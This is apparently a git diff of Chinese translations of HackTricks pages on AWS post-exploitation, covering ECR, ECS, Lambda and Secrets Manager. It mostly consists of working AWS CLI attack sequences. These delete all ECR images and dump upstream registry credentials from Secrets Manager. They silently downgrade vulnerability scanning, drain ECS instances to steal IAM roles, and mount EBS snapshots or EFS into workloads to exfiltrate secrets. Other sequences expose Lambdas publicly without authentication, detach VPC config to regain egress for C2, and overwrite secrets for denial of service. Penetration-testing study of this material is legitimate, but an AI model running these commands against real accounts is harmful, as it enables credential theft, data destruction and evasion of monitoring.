||||
攻击者拥有上述任一权限后,可以**创建或修改生命周期策略以删除仓库中的所有镜像**,随后**删除整个 ECR 仓库**。这将导致仓库中存储的所有容器镜像丢失。
|
||||
拥有这些权限的攻击者可以**创建或修改生命周期策略以删除仓库中的所有镜像**,然后**删除整个 ECR repository**。这将导致存储在该仓库中的所有容器镜像丢失。
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,23 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### 从 ECR Pull‑Through Cache (PTC) 提取上游注册表凭证
|
||||
|
||||
### 从 ECR Pull‑Through Cache (PTC) 提取上游注册表凭据
|
||||
如果 ECR Pull‑Through Cache 为需要认证的上游注册表(Docker Hub, GHCR, ACR, etc.)配置,上游凭证会以可预测的名称前缀存储在 AWS Secrets Manager 中:`ecr-pullthroughcache/`。操作者有时会授予 ECR admins 对 AWS Secrets Manager 的广泛读取权限,从而允许凭证被提取并在 AWS 之外重用。
|
||||
|
||||
如果 ECR Pull‑Through Cache 为需要认证的上游 registry(Docker Hub、GHCR、ACR 等)配置,上游凭据会以可预测的名称前缀存储在 AWS Secrets Manager 中:`ecr-pullthroughcache/`。运营人员有时会授予 ECR 管理员广泛的 Secrets Manager 读取权限,从而使得凭据可以被外部提取并在 AWS 之外重用。
|
||||
|
||||
所需权限
|
||||
先决条件
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
列举候选 PTC secrets
|
||||
枚举候选 PTC 机密
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Dump 发现的 secrets 并解析常见字段
|
||||
转储发现的 secrets 并解析常见字段
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -116,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
可选:验证 leaked creds 是否可用于 upstream(只读登录)
|
||||
可选:验证 leaked creds 是否对上游有效(只读登录)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
影响
|
||||
- 读取这些 Secrets Manager 条目会获取可重用的上游 registry 凭证(username/password or token),这些凭证可在 AWS 之外被滥用以拉取私有镜像或根据上游权限访问额外的仓库。
|
||||
- 阅读这些 Secrets Manager 条目会泄露可重用的上游注册表凭证(用户名/密码或令牌),这些凭证可在 AWS 之外被滥用,用于拉取私有镜像或根据上游权限访问额外仓库。
|
||||
|
||||
|
||||
### Registry-level stealth: 通过 `ecr:PutRegistryScanningConfiguration` 禁用或降级扫描
|
||||
### 注册表级隐匿:通过 `ecr:PutRegistryScanningConfiguration` 禁用或降级扫描
|
||||
|
||||
具有 registry-level ECR 权限的攻击者可以通过将 registry scanning configuration 设置为 BASIC 且不启用任何 scan-on-push 规则,悄无声息地降低或禁用对 ALL 仓库的自动漏洞扫描。这会阻止新镜像推送被自动扫描,从而隐藏有漏洞或恶意的镜像。
|
||||
具有注册表级 ECR 权限的攻击者可以通过将注册表扫描配置设置为 BASIC 并且不添加任何 scan-on-push 规则,悄然减少或禁用所有仓库的自动漏洞扫描。这会阻止新镜像推送被自动扫描,从而隐藏易受攻击或恶意的镜像。
|
||||
|
||||
Requirements
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
- ecr:PutImageScanningConfiguration (可选,按仓库)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (验证)
|
||||
|
||||
将整个 registry 降级为手动(无自动扫描)
|
||||
将整个注册表降级为手动(无自动扫描)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -170,21 +168,21 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
影响
|
||||
- 注册表中推送的新镜像不会自动被扫描,降低了对易受攻击或恶意内容的可见性,并延迟了检测,直到手动触发扫描。
|
||||
- 整个注册表中新镜像的推送不会被自动扫描,降低了对易受攻击或恶意内容的可见性,并延迟了检测,直到手动扫描被触发。
|
||||
|
||||
|
||||
### 在整个注册表范围内通过 `ecr:PutAccountSetting` 降级扫描引擎 (AWS_NATIVE -> CLAIR)
|
||||
### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
通过将 BASIC 扫描引擎从默认的 AWS_NATIVE 切换为旧的 CLAIR 引擎,可以降低整个注册表的漏洞检测质量。 这并不会禁用扫描,但会实质性地改变检测结果/覆盖范围。将其与没有规则的 BASIC 注册表扫描配置结合,可使扫描仅在手动触发时执行。
|
||||
通过将 BASIC 扫描引擎从默认的 AWS_NATIVE 切换到旧的 CLAIR 引擎,可以降低整个注册表的漏洞检测质量。这不会禁用扫描,但可能显著改变发现结果/覆盖范围。将此与没有规则的 BASIC 注册表扫描配置结合,可使扫描仅在手动触发时执行。
|
||||
|
||||
Requirements
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
- (可选) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
影响
|
||||
- 注册表设置 `BASIC_SCAN_TYPE_VERSION` 被设置为 `CLAIR`,因此后续的 BASIC 扫描会使用降级后的引擎运行。CloudTrail 会记录 `PutAccountSetting` API 调用。
|
||||
- 注册表设置 `BASIC_SCAN_TYPE_VERSION` 被设置为 `CLAIR`,因此随后的 BASIC 扫描将使用降级的引擎运行。CloudTrail 会记录 `PutAccountSetting` API 调用。
|
||||
|
||||
步骤
|
||||
Steps
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
|
||||
@@ -203,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,44 +1,44 @@
|
||||
# AWS - ECS 后渗透
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
有关更多信息,请查看:
|
||||
更多信息请查看:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 主机 IAM 角色
|
||||
### Host IAM Roles
|
||||
|
||||
在 ECS 中,**IAM 角色可以被分配给在容器内运行的 task**。**如果** 该 task 在 **EC2** 实例中运行,**EC2 实例** 会附加另一个 **IAM 角色**。\
|
||||
这意味着如果你设法**攻破**一个 ECS 实例,你可能能够**获取与 ECR 和 EC2 实例相关联的 IAM 角色**。有关如何获取这些凭据的更多信息,请参阅:
|
||||
在 ECS 中,**IAM role 可以被分配给运行在容器内的 task**。**If** 该 task 在 **EC2** 实例中运行,则该 **EC2 instance** 会附加另一个 **IAM** role。\
|
||||
这意味着如果你设法**compromise** 一个 ECS 实例,你可能会**obtain the IAM role associated to the ECR and to the EC2 instance**。有关如何获取这些凭证的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> 注意,如果 EC2 实例正在强制使用 IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html),PUT 请求的响应将具有 hop limit 为 1,这使得从 EC2 实例内的容器访问 EC2 元数据变得不可能。
|
||||
> 注意,如果 EC2 实例正在强制使用 IMDSv2,[**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html),**response of the PUT request** 将具有 **hop limit of 1**,这会使得从 EC2 实例内的容器访问 EC2 metadata 变得不可能。
|
||||
|
||||
### Privesc 到 节点 窃取 其他 容器 的 creds & secrets
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
此外,EC2 使用 docker 来运行 ECS tasks,因此如果你能逃逸到节点或访问 docker socket,你可以查看正在运行的其他容器,甚至进入其中并窃取它们所附加的 IAM 角色。
|
||||
此外,EC2 使用 docker 来运行 ECS tasks,因此如果你能逃逸到 node 或者**access the docker socket**,你可以**check** 哪些**other containers** 正在运行,甚至**get inside of them** 并**steal their IAM roles**。
|
||||
|
||||
#### 让容器在当前主机上运行
|
||||
#### Making containers run in current host
|
||||
|
||||
此外,EC2 实例角色通常具有足够的权限来更新集群中作为节点使用的 EC2 实例的 container instance state。攻击者可以将某个实例的状态修改为 DRAINING,随后 ECS 会从该实例移除所有任务,而以 REPLICA 方式运行的任务会在不同的实例上重启,可能会在攻击者的实例上运行,从而让攻击者窃取它们的 IAM 角色以及容器内可能存在的敏感信息。
|
||||
此外,**EC2 instance role** 通常拥有足够的**permissions** 来**update the container instance state**,针对集群中作为 node 使用的 EC2 instances。攻击者可以将实例的**state 修改为 DRAINING**,然后 ECS 会**remove all the tasks from it**,那些以 **REPLICA** 方式运行的任务将会**run in a different instance**,可能会运行到**attacker's instance** 中,这样攻击者就可以**steal their IAM roles** 以及容器内的潜在敏感信息。
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
同样的技术可以通过 **deregistering the EC2 instance from the cluster** 来完成。 这可能不够隐蔽,但它会 **force the tasks to be run in other instances:**
|
||||
相同的技术可以通过**将 EC2 实例从集群中取消注册**来完成。这可能不够隐蔽,但它会**强制这些任务在其他实例上运行:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
最后一种强制重新执行 tasks 的技术是向 ECS 表示 **task 或 container 已停止**。有 3 个可能的 APIs 可以做到这一点:
|
||||
强制重新执行任务的最后一种技术是向 ECS 表示 **任务或容器已停止**。有 3 个潜在的 APIs 可以做到这一点:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,36 +50,36 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### 从 ECR 容器窃取敏感信息
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
该 EC2 实例很可能也具有权限 `ecr:GetAuthorizationToken`,允许它 **下载镜像**(你可以在镜像中搜索敏感信息)。
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **下载镜像**(你可以在其中搜索敏感信息)。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### 在 ECS task 中直接挂载 EBS 快照(configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
滥用原生 ECS 与 EBS 的集成(2024+),将在现有 EBS 快照的内容直接挂载到新的 ECS task/service 中,并从容器内部读取其数据。
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
- 最低需求:
|
||||
滥用原生 ECS 与 EBS 的集成(2024+),将现有 EBS 快照的内容直接挂载到新的 ECS 任务/服务内,并在容器内部读取其数据。
|
||||
|
||||
- 需要(最低):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- 用于卷的 ECS infrastructure role(策略:`service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- task definition 中引用的 Task execution/Task roles
|
||||
- 如果快照使用 CMK 加密:infra role 需要 KMS 权限(上面提到的 AWS 托管策略已包含对 AWS 管理密钥 所需 的 KMS 授权)。
|
||||
- 以下任一: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- 对以下需要 iam:PassRole:
|
||||
- 用于卷的 ECS 基础设施角色(策略:`service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- 任务定义中引用的 Task execution/Task 角色
|
||||
- 如果快照使用 CMK 加密:基础设施角色需要 KMS 权限(上面提到的 AWS 托管策略包含对 AWS 托管密钥所需的 KMS 授权)。
|
||||
|
||||
- 影响:从快照中读取任意磁盘内容(例如数据库文件)到容器内,并通过网络/日志进行外传。
|
||||
- Impact: 在容器内从快照读取任意磁盘内容(例如数据库文件)并通过网络/日志 exfiltrate。
|
||||
|
||||
步骤(Fargate 示例):
|
||||
Steps (Fargate example):
|
||||
|
||||
1) 创建 ECS infrastructure role(如果不存在),并附加该托管策略:
|
||||
1) 创建 ECS 基础设施角色(如果不存在),并附加托管策略:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) 注册一个 task definition,创建一个标记为 `configuredAtLaunch` 的 volume 并将其挂载到 container 中。示例(打印 secret 然后休眠):
|
||||
2) 注册一个 task definition,使用一个标记为 `configuredAtLaunch` 的 volume 并将其挂载到 container 中。示例(打印 secret 然后 sleep):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -99,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) 通过 `volumeConfigurations.managedEBSVolume` 将 EBS 快照传递来创建或更新服务(需要在基础设施角色上具有 iam:PassRole 权限)。示例:
|
||||
3) 创建或更新一个服务,通过 `volumeConfigurations.managedEBSVolume` 传递 EBS snapshot(需要该基础设施角色具有 `iam:PassRole` 权限)。示例:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -113,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) 当任务启动时,容器可以在配置的挂载路径读取快照内容(例如 `/loot`)。 Exfiltrate via the task’s network/logs.
|
||||
4) 当 task 启动时,container 可以在配置的 mount path(例如 `/loot`)读取 snapshot 内容。Exfiltrate via the task’s network/logs。
|
||||
|
||||
清理:
|
||||
```bash
|
||||
@@ -121,4 +121,4 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,18 +1,20 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (数据窃取)
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
|
||||
|
||||
滥用 `lambda:UpdateFunctionConfiguration` 将现有 EFS Access Point 附加到 Lambda,然后部署简单代码,列出/读取挂载路径中的文件,以 exfiltrate 函数之前无法访问的共享 secrets/config。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
滥用 `lambda:UpdateFunctionConfiguration` 将现有的 EFS Access Point 附加到 Lambda,然后部署简单代码,列出/读取挂载路径中的文件,以外传函数之前无法访问的共享密钥/配置。
|
||||
|
||||
## 要求
|
||||
- 受害者账户/主体的权限:
|
||||
- 受害者账户/主体需要的权限:
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (用于查找 functions)
|
||||
- `lambda:ListFunctions` (用于查找函数)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (用于确认 mount targets 存在)
|
||||
- `efs:DescribeMountTargets` (用于确认挂载目标存在)
|
||||
- 环境假设:
|
||||
- 目标 Lambda 已启用 VPC,且其子网/SGs 可通过 TCP/2049 访问 EFS 挂载目标的 SG(例如,角色具有 AWSLambdaVPCAccessExecutionRole 且 VPC 路由允许)。
|
||||
- EFS Access Point 位于相同 VPC,并在 Lambda 子网所在的 AZs 中有挂载目标。
|
||||
- 目标 Lambda 已启用 VPC,且其子网/SGs 可以通过 TCP/2049 访问 EFS 挂载目标的安全组(例如角色有 AWSLambdaVPCAccessExecutionRole 且 VPC 路由允许)。
|
||||
- EFS Access Point 位于相同的 VPC,并且在 Lambda 子网的 AZs 中有挂载目标。
|
||||
|
||||
## 攻击
|
||||
- 变量
|
||||
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
2) 用一个简单的读取器覆盖代码,该读取器列出文件并查看候选 secret/config file 的前 200 bytes
|
||||
2) 覆盖代码为一个简单的 reader,用它列出文件并读取候选 secret/config file 的前 200 bytes
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
@@ -62,13 +64,14 @@ until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --qu
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
输出应包含 /mnt/ht 下的目录列表,以及从 EFS 中选择的一个 secret/config file 的小预览。
|
||||
输出应包含 /mnt/ht 下的目录列表,以及来自 EFS 中所选 secret/config 文件的小预览。
|
||||
|
||||
## 影响
|
||||
拥有所列权限的攻击者可以将任意 in-VPC EFS Access Points 挂载到受害者的 Lambda 函数中,以读取并外传存储在 EFS 上的共享配置和 secrets,这些内容此前对该函数不可访问。
|
||||
|
||||
具有列出权限的攻击者可以将任意 in-VPC EFS Access Points 挂载到受害者的 Lambda 函数中,从而 read and exfiltrate 原本该函数无法访问的、存储在 EFS 上的共享配置和 secrets。
|
||||
|
||||
## 清理
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,36 +1,38 @@
|
||||
# AWS - Lambda Function URL 公共暴露 (AuthType NONE + Public Invoke Policy)
|
||||
# AWS - Lambda Function URL 公开暴露 (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
通过将私有 Lambda Function URL 的 Function URL AuthType 切换为 NONE,并附加一个授予所有人 lambda:InvokeFunctionUrl 的基于资源的策略,可以将其变为公共的无需身份验证的端点。这将允许匿名调用内部函数并可能暴露敏感的后端操作。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 滥用
|
||||
通过将私有 Lambda Function URL 的 Function URL AuthType 切换为 NONE,并附加一个授予 lambda:InvokeFunctionUrl 给所有人的基于资源的策略,可以将其变为公开的无认证端点。这样可以匿名调用内部函数,并可能暴露敏感的后端操作。
|
||||
|
||||
- 先决条件: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Region: us-east-1
|
||||
## 滥用场景
|
||||
|
||||
- 先决条件: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- 区域: us-east-1
|
||||
|
||||
### 步骤
|
||||
1) 确保函数具有 Function URL(默认是 AWS_IAM):
|
||||
1) 确保函数具有 Function URL(默认为 AWS_IAM):
|
||||
```
|
||||
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
2) 将 URL 切换为公共(AuthType NONE):
|
||||
2) 将 URL 切换为公开(AuthType NONE):
|
||||
```
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) 添加基于资源的策略语句以允许未经身份验证的主体:
|
||||
3) 添加基于资源的策略语句以允许未认证主体:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
|
||||
4) 获取 URL 并在不使用凭证的情况下调用:
|
||||
4) 检索 URL 并在无需凭证的情况下调用:
|
||||
```
|
||||
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
|
||||
curl -sS "$URL"
|
||||
```
|
||||
|
||||
### 影响
|
||||
- 该 Lambda 函数将变为可通过互联网匿名访问。
|
||||
- 该 Lambda 函数将通过互联网匿名可访问。
|
||||
|
||||
### 示例输出(未认证 200)
|
||||
```
|
||||
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
# AWS Lambda – 通过 PutRuntimeManagementConfig 对运行时进行固定/回滚滥用
|
||||
|
||||
Abuse `lambda:PutRuntimeManagementConfig` 以将函数锁定到特定的 runtime 版本(Manual)或冻结更新(FunctionUpdate)。这可以保持与恶意 layers/wrappers 的兼容性,并能使函数停留在过时、存在漏洞的 runtime 上,从而便于 exploitation 和长期 persistence。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
要求: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
滥用 `lambda:PutRuntimeManagementConfig` 将函数固定到特定的运行时版本(Manual)或冻结更新(FunctionUpdate)。这可以保持与恶意 layers/wrappers 的兼容性,并能将函数维持在过时且存在漏洞的运行时,以便于利用和长期持久化。
|
||||
|
||||
示例 (us-east-1):
|
||||
- 调用: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- 冻结更新: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- 验证: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
要求:`lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
可选地,通过从 INIT_START 日志中提取 Runtime Version ARN 并使用 `--update-runtime-on Manual --runtime-version-arn <arn>` 将运行时固定到特定版本。
|
||||
示例(us-east-1):
|
||||
- 调用:`aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- 冻结更新:`aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- 验证:`aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
可选地,通过从 INIT_START logs 中提取 Runtime Version ARN,并使用 `--update-runtime-on Manual --runtime-version-arn <arn>` 将其固定到特定的运行时版本。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,14 +1,16 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
# AWS Lambda – 通过分离 VpcConfig 绕过 VPC 出站限制
|
||||
|
||||
通过将 Lambda 函数的配置更新为空的 VpcConfig(SubnetIds=[], SecurityGroupIds=[]),将受限的函数强制移出 VPC。函数随后将在 Lambda 管理的网络平面中运行,重新获得出站互联网访问,从而绕过由未配置 NAT 的私有 VPC 子网强制实施的出站控制。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Abusing it
|
||||
通过更新函数配置为一个空的 VpcConfig(SubnetIds=[], SecurityGroupIds=[])将 Lambda 函数从受限 VPC 强制移出。函数随后将在 Lambda 管理的网络平面中运行,恢复出站互联网访问,从而绕过在没有 NAT 的私有 VPC 子网上实施的出站控制。
|
||||
|
||||
- 前置条件:对目标函数具有 lambda:UpdateFunctionConfiguration 权限(以及用于验证的 lambda:InvokeFunction),如果要更改代码/handler 则还需要相应的更新权限。
|
||||
- 假设:函数当前配置了指向无 NAT 的私有子网的 VpcConfig(因此出站互联网被阻止)。
|
||||
- Region: us-east-1
|
||||
## 滥用方法
|
||||
|
||||
### Steps
|
||||
- 前提:对目标函数具有 lambda:UpdateFunctionConfiguration(以及用于验证的 lambda:InvokeFunction)权限,若需要更改代码/handler 还需相应权限。
|
||||
- 假设:函数当前配置的 VpcConfig 指向没有 NAT 的私有子网(因此出站互联网被阻止)。
|
||||
- 区域:us-east-1
|
||||
|
||||
### 步骤
|
||||
|
||||
0) 准备一个最小的 handler 来证明出站 HTTP 可用
|
||||
|
||||
@@ -26,12 +28,12 @@ zip net.zip net.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
|
||||
|
||||
1) 记录当前的 VPC 配置(以便稍后需要时恢复)
|
||||
1) 记录当前 VPC 配置(如需可稍后恢复)
|
||||
|
||||
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
|
||||
cat /tmp/orig-vpc.json
|
||||
|
||||
2) 通过设置空列表来解除 VPC 绑定
|
||||
2) 通过设置为空列表来分离 VPC
|
||||
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
@@ -51,13 +53,14 @@ SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.Securit
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
|
||||
fi
|
||||
|
||||
### Impact
|
||||
- 该函数将重新获得不受限制的出站互联网访问,从而使原本故意在无 NAT 的私有子网中隔离的工作负载能够进行数据外泄或作为 C2 节点。
|
||||
### 影响
|
||||
- 函数将重新获得不受限制的出站互联网访问,允许从本应隔离在无 NAT 的私有子网中的工作负载进行数据外泄或 C2 通信。
|
||||
|
||||
### Example output (after detaching VpcConfig)
|
||||
### 示例输出(在分离 VpcConfig 之后)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### Cleanup
|
||||
- 如果你对代码/handler 做了任何临时更改,请恢复它们。
|
||||
- 可选地按上文所示从 /tmp/orig-vpc.json 恢复原始的 VpcConfig。
|
||||
### 清理
|
||||
- 如创建了临时的代码/handler 修改,请将其还原。
|
||||
- 可按上文所示从 /tmp/orig-vpc.json 恢复原始 VpcConfig。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
更多信息请查看:
|
||||
更多信息请参阅:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
@@ -12,27 +12,27 @@
|
||||
|
||||
### 读取 Secrets
|
||||
|
||||
这些 **secrets 本身就是敏感信息**,[参见 privesc 页面](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) 以了解如何读取它们。
|
||||
**secrets 本身是敏感信息**,[查看 privesc 页面](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) 了解如何读取它们。
|
||||
|
||||
### DoS 更改 Secret 值
|
||||
|
||||
更改 Secret 的值可能会导致 **依赖该值的所有系统被 DoS。**
|
||||
更改 secret 的值可能会**对所有依赖该值的系统造成 DoS。**
|
||||
|
||||
> [!WARNING]
|
||||
> 注意以前的值也会被存储,因此可以很容易地恢复到之前的值。
|
||||
> 请注意,之前的值也会被存储,因此很容易恢复到之前的值。
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id MyTestSecret \
|
||||
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
|
||||
```
|
||||
### DoS Change KMS key
|
||||
### DoS 更改 KMS key
|
||||
|
||||
